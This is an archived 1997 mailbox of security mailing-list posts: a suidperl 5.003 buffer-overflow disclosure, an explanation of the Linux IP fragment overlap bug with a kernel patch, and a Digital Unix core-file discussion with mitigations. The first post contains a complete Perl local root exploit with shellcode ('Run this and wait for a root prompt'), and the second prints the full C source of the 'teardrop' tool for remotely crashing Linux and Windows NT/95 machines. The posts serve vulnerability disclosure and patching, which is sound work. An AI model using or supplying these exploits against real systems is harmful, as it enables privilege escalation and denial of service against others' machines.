for <mc@conjurer.tyumen.ru>; Fri, 14 Nov 1997 16:48:43 +0500 (ES)
Received: (qmail 15167 invoked by uid 501); 14 Nov 1997 10:51:50 -0000
Resent-Date: 14 Nov 1997 10:51:50 -0000
Resent-Cc: recipient.list.not.shown: ;
Mbox-Line: From linux-security-request@redhat.com Fri Nov 14 05:51:44 1997
X-Pop3-Rcpt: t757607@helium
Date: Thu, 13 Nov 1997 18:14:28 +0100 (MET)
From: Pavel Kankovsky <peak@kerberos.troja.mff.cuni.cz>
Reply-To: peak@kerberos.troja.mff.cuni.cz
To: linux-alert@redhat.com
Cc: BUGTRAQ@NETSPACE.ORG
Message-Id: <Pine.LNX.3.95.971113162510.3729B-100000@kerberos.troja.mff.cuni.cz>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Resent-Message-Id: <"l7q443.0.Jg3.0r2Rq"@mail2.redhat.com>
Resent-From: linux-security@redhat.com
X-Mailing-List: <linux-security@redhat.com> archive/latest/346
X-Loop: linux-security@redhat.com
Precedence: list
Resent-Sender: linux-security-request@redhat.com
Subject: [linux-security] another buffer overrun in sperl5.003
Status:
X-PMFLAGS: 34078848 0
Summary:
Any user can gain root privileges on a Intel Linux system with suidperl
5.003 (having the suid bit, of course) even if "SUIDBUF" and "two suidperl
security patches" have been applied. Non-Intel / non-Linux platforms may
be affected as well.
Quick fix:
chmod u-s /usr/bin/sperl5.003 (what else?)
Details:
There is a nasty bug in mess() (util.c): it is possible to overflow
its buffer (via sprintf()); mess() tries to detect this situation but
fails to handle the problem properly:
[excerpt from util.c]
if (s - s_start >= sizeof(buf)) { /* Ooops! */
if (usermess)
fputs(SvPVX(tmpstr), stderr);
else
fputs(buf, stderr);
fputs("panic: message overflow - memory corrupted!\n",stderr);
my_exit(1);
}
It does not abort immediately. It prints out an error message and calls
my_exit(1), and this is very bad.
$ perl -v
This is perl, version 5.003 with EMBED
Locally applied patches:
SUIDBUF - Buffer overflow fixes for suidperl security
built under linux at Apr 22 1997 10:04:46
+ two suidperl security patches
$ perl `perl -e "print 'A' x 3000"`
Can't open perl script "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
...AAAAAAAAAAAAAAAAA": File name too long
panic: message overflow - memory corrupted!
$ Can't open perl script "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
...AAAAAAAAAAAAAAAAA": File name too long
panic: message overflow - memory corrupted!
Segmentation fault (core dumped)
$ gdb /usr/bin/perl core
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (i586-unknown-linux), Copyright 1996 Free Software Foundation,
Inc...
(no debugging symbols found)...
Core was generated by `perl AAAAA...'.
Program terminated with signal 11, Segmentation fault.
Reading symbols ...
...
#0 0x41414141 in ?? ()
(gdb)
Voila! 0x41414141 == "AAAA"
The variable called top_env has been overwritten. In fact, it is jmp_buf
and Perl calls longjmp() with it somewhere in my_exit().
Run this and wait for a root prompt:
[exploit code]
#!/usr/bin/perl
# yes, this suidperl exploit is in perl, isn't it wonderful? :)
$| = 1;
$shellcode =
"\x90" x 512 . # nops
"\xbc\xf0\xff\xff\xbf" . # movl $0xbffffff0,%esp
# "standard shellcode" by Aleph One
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
# start and end of .data
# adjust this using /proc/*/maps
$databot = 0x080a2000;
$datatop = 0x080ab000;
# trial and error loop
$address = $databot + 4;
while ($address < $datatop) {
$smash_me =
$shellcode . ('A' x (2052 - length($shellcode))) .
(pack("l", $address) x 1000) . ('B' x 1000);
$pid = fork();
if (!$pid) {
exec('/usr/bin/sperl5.003', $smash_me);
}
else {
wait;
if ($? == 0) {
printf("THE MAGIC ADDRESS WAS %08x\n", $address);
exit;
}
}
$address += 128;
}
[end of exploit code]
I have tested this on two Red Hat 4.2 systems running on Intel (with
perl-5.003-8 and -9). I am pretty sure any Intel-like Linux having
sperl5.003 is affected.
Other platforms may be affected too.
Perl 5.004 is NOT VULNERABLE.
--Pavel Kankovsky aka Peak (troja.mff.cuni.cz network administration)
--
----------------------------------------------------------------------
Please refere to the information about this list as well as general
information about Linux security at http://www.aoy.com/Linux/Security.
----------------------------------------------------------------------
To unsubscribe: mail -s unsubscribe test-list-request@redhat.com < /dev/null
Return-Path: <best-of-security-request@cyber.com.au>
Delivered-To: admin@skyway.ru
Received: (qmail 4109 invoked from network); 18 Nov 1997 08:02:38 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 18 Nov 1997 08:02:38 -0000
Received: by scylla.sovam.com id AA27885
(5.67b8s3p1/IDA-1.5 for admin@skyway.ru); Tue, 18 Nov 1997 09:11:50 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA27097
(5.67b8s3p1/IDA-1.5 for <admin@skyway.ru>); Tue, 18 Nov 1997 09:03:19 +0300
Received: from plum.cyber.com.au (plum.cyber.com.au [203.7.155.24])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id LAA00843
for <mc@conjurer.tyumen.ru>; Tue, 18 Nov 1997 11:00:17 +0500 (ES)
Received: (from slist@localhost)
by plum.cyber.com.au (8.8.6/8.8.6) id QAA02632;
Tue, 18 Nov 1997 16:30:59 +1100 (EST)
Resent-Date: Tue, 18 Nov 1997 16:30:59 +1100 (EST)
X-Delivering-To: mc@conjurer.tyumen.ru
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Message-Id: <19971114060615.7021.qmail@resentment.infonexus.com>
Date: Thu, 13 Nov 1997 22:06:15 -0800
Reply-To: route@RESENTMENT.INFONEXUS.COM
Sender: avalon@cyber.com.au
From: G P R <route@RESENTMENT.INFONEXUS.COM>
Old-X-Originally-To: To: BUGTRAQ@NETSPACE.ORG
Old-X-Originated-From: From: G P R <route@RESENTMENT.INFONEXUS.COM>
Resent-Message-Id: <"dnf6QC.A.uvD.f-Lc0"@plum>
X-Loop: best-of-security@cyber.com.au
Errors-To: best-of-security-request@cyber.com.au
Precedence: list
Resent-Sender: best-of-security-request@cyber.com.au
To: best-of-security@cyber.com.au
Resent-From: best-of-security@cyber.com.au
X-Mailing-List: <best-of-security@cyber.com.au> ftp://ftp.cyber.com.au/pub/archive/b-o-s/
X-Subscription: To unsubscribe from this fine mailing list mail best-of-security-request@cyber.com.au with Subject: unsubscribe
Subject: BoS: Linux IP fragment overlap bug
Status:
X-PMFLAGS: 34078848 0
Helu.
I wrote this post a while back when the bug was first discovered. It
seems as though this bug (and patch) has gotten out, so here it is, in it's
entirety.
As it happens, Linux has a serious bug in it's IP fragmentation module.
More specifically, in the fragmentation reassembly code. More specifically,
the bug manifests itself in the `ip_glue()` function....
When Linux reassembles IP fragments to form the original IP datagram, it
runs in a loop, copying the payload from all the queued fragments into a newly
allocated buffer (which would then normally be passed to the IP layer proper).
>>From ip_fragment.c@376:
fp = qp->fragments;
while(fp != NULL)
{
if(count+fp->len > skb->len)
{
error_to_big;
}
memcpy((ptr + fp->offset), fp->ptr, fp->len);
count += fp->len;
fp = fp->next;
}
While it does check to see if the fragment length is too large, which would
have the kernel copy too much data, it doesn't check to see if the fragment
length is too small, which would have the kernel copy WAY too data (such is the
case if fp->len is < 0).
To see when this happens, we need to look at how Linux adds IP datagrams
to the reassembly queue. From ip_fragment.c@502:
/*
* Determine the position of this fragment.
*/
end = offset + ntohs(iph->tot_len) - ihl;
Ok. That's nice. Now we have to look at what happens when we have
overlaping fragments... From ip_fragment.c@531:
/*
* We found where to put this one.
* Check for overlap with preceding fragment, and, if needed,
* align things so that any overlaps are eliminated.
*/
if (prev != NULL && offset < prev->end)
{
i = prev->end - offset;
offset += i; /* ptr into datagram */
ptr += i; /* ptr into fragment data */
}
If we find that the current fragment's offset is inside the end of a
previous fragment (overlap), we need to (try) align it correctly. Well, this
is fine and good, unless the payload of the current fragment happens to NOT
contain enough data to cover the realigning. In that case, `offset` will end
up being larger then `end`. These two values are passed to `ip_frag_create()`
where the length of the fragment data is computed. From ip_fragment.c@97:
/* Fill in the structure. */
fp->offset = offset;
fp->end = end;
fp->len = end - offset;
This results in fp->len being negative and the memcpy() at the top will end
up trying to copy entirely too much data, resulting in a reboot or a halt,
depending on how much physical memory you've got.
We can trigger this normally unlikely event by simply sending 2 specially
fragmented IP datagrams. The first is the 0 offset fragment with a payload of
size N, with the MF bit on (data content is irrelevant). The second is the
last fragment (MF == 0) with a positive offset < N and with a payload of < N.
Every linux implementation I have been able to look at seems to have this
problem (1.x - 2.x, including the development kernels).
Oh, by the way, NT/95 appear to have the bug also. Try sending 10 - 15 of
these fragment combos to an NT/95 machine.
Special thanks to klepto for bringing the problem to my attention and
writing the initial exploit.
route|daemon9 route@infonexus.com
------[Begin] -- Guby Linux -------------------------------------------------
/*
* Copyright (c) 1997 route|daemon9 <route@infonexus.com> 11.3.97
*
* Linux/NT/95 Overlap frag bug exploit
*
* Exploits the overlapping IP fragment bug present in all Linux kernels and
* NT 4.0 / Windows 95 (others?)
*
* Based off of: flip.c by klepto
* Compiles on: Linux, *BSD*
*
* gcc -O2 teardrop.c -o teardrop
* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
fprintf(stderr, "teardrop route|daemon9\n\n");
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}
/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}
/* EOF */
------[End] -- Guby Linux ----------------------------------------------------
And the patch:
------[Begin] -- Helu Linux -------------------------------------------------
--- ip_fragment.c Mon Nov 10 14:58:38 1997
+++ ip_fragment.c.patched Mon Nov 10 19:18:52 1997
@@ -12,6 +12,7 @@
* Alan Cox : Split from ip.c , see ip_input.c for history.
* Alan Cox : Handling oversized frames
* Uriel Maimon : Accounting errors in two fringe cases.
+ * route : IP fragment overlap bug
*/
#include <linux/types.h>
@@ -578,6 +579,22 @@
frag_kfree_s(tmp, sizeof(struct ipfrag));
}
}
+
+ /*
+ * Uh-oh. Some one's playing some park shenanigans on us.
+ * IP fragoverlap-linux-go-b00m bug.
+ * route 11.3.97
+ */
+
+ if (offset > end)
+ {
+ skb->sk = NULL;
+ printk("IP: Invalid IP fragment (offset > end) found from %s\n", in_ntoa(iph->saddr));
+ kfree_skb(skb, FREE_READ);
+ ip_statistics.IpReasmFails++;
+ ip_free(qp);
+ return NULL;
+ }
/*
* Insert this fragment in the chain of fragments.
------[End] -- Helu Linux ----------------------------------------------------
EOF
--
Corporate
Persuasion
Through
Internet
Terrorism.
Return-Path: <owner-bugtraq@NETSPACE.ORG>
Delivered-To: admin@skyway.ru
Received: (qmail 15162 invoked from network); 21 Nov 1997 01:01:33 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 21 Nov 1997 01:01:33 -0000
Received: by scylla.sovam.com id AA01020
(5.67b8s3p1/IDA-1.5 for admin@skyway.ru); Thu, 20 Nov 1997 23:34:25 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA00993
(5.67b8s3p1/IDA-1.5 for <admin@skyway.ru>); Thu, 20 Nov 1997 23:33:00 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id BAA04053
for <mc@CONJURER.TYUMEN.RU>; Fri, 21 Nov 1997 01:29:57 +0500 (ES)
Received: from unknown@netspace.org (port 15632 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <96901-5391>; Thu, 20 Nov 1997 14:53:15 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5778436 for BUGTRAQ@NETSPACE.ORG; Thu, 20 Nov 1997 14:52:03
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
OAA03114 for <BUGTRAQ@NETSPACE.ORG>; Thu, 20 Nov 1997 14:51:45 -0500
Received: from unknown@netspace.org (port 15632 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <96410-5389>; Thu, 20 Nov 1997
14:51:05 -0500
Approved-By: aleph1@UNDERGROUND.ORG
Received: from adder.maths.su.oz.au (adder.maths.su.oz.au [129.78.68.2]) by
netspace.org (8.8.7/8.8.2) with ESMTP id OAA00948 for
<BUGTRAQ@NETSPACE.ORG>; Thu, 20 Nov 1997 14:42:53 -0500
Received: from mhsnet@localhost by adder.maths.su.oz.au with MHSnet (8.7.1/19.1
to SMTP) id GAA15929; Fri, 21 Nov 1997 06:41:08 +1100 (AED)
Received: by c622.maths.su.oz.au (5.61++/19.1 to MHSnet) id AA10120; Fri, 21
Nov 97 06:40:09 +1100
Message-Id: <9711201940.AA10120@c622.maths.su.oz.au>
Date: Fri, 21 Nov 1997 06:40:09 +1100
Reply-To: Paul Szabo <szabo_p@MATHS.SU.OZ.AU>
Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
From: Paul Szabo <szabo_p@MATHS.SU.OZ.AU>
Subject: Re: digital unix 4.0 hole
X-To: tom@sba.miami.edu
To: BUGTRAQ@NETSPACE.ORG
Status:
X-PMFLAGS: 33554560 0
[I sent this to bugtraq on 17 Nov, but maybe the moderator misplaced it...]
There are currently two threads of creating root-owned core files on dUNIX
machines. Tom Leffingwell <tom@sba.miami.edu> wrote:
> setenv DISPLAY abcdefghi
> /usr/bin/X11/xterm
and John McDonald <jmcdonal@OSPREY.UNF.EDU> suggested:
> If you run dbx (tested on 3.11.10) on a setuid root program ...
To avoid the problem of core file creation, Johan Danielsson
<joda@PDC.KTH.SE> said to patch /vmunix:
> # cp /vmunix /vmunix.save
> # dbx /vmunix
> (dbx) ((unsigned*)core+82)/1 i
> [core:5261, 0xfffffc000026ff48] and r1, r2, r1
> (dbx) patch *((unsigned*)core+82) = 0x203f0001
> [core:5261, 0xfffffc000026ff48] lda r1, 1(r31)
> (dbx) q
> # reboot
A colleague of mine suggests that, since /sbin/rc3.d starts anything a
user's process could be a descendant of, a simpler method might be to insert
one line into /sbin/rc3 :
ulimit -h -c 0
This solution seems to work for me (passed my limited testing).
Paul Szabo - System Manager // School of Mathematics and Statistics
psz@maths.usyd.edu.au // University of Sydney, NSW 2006, Australia
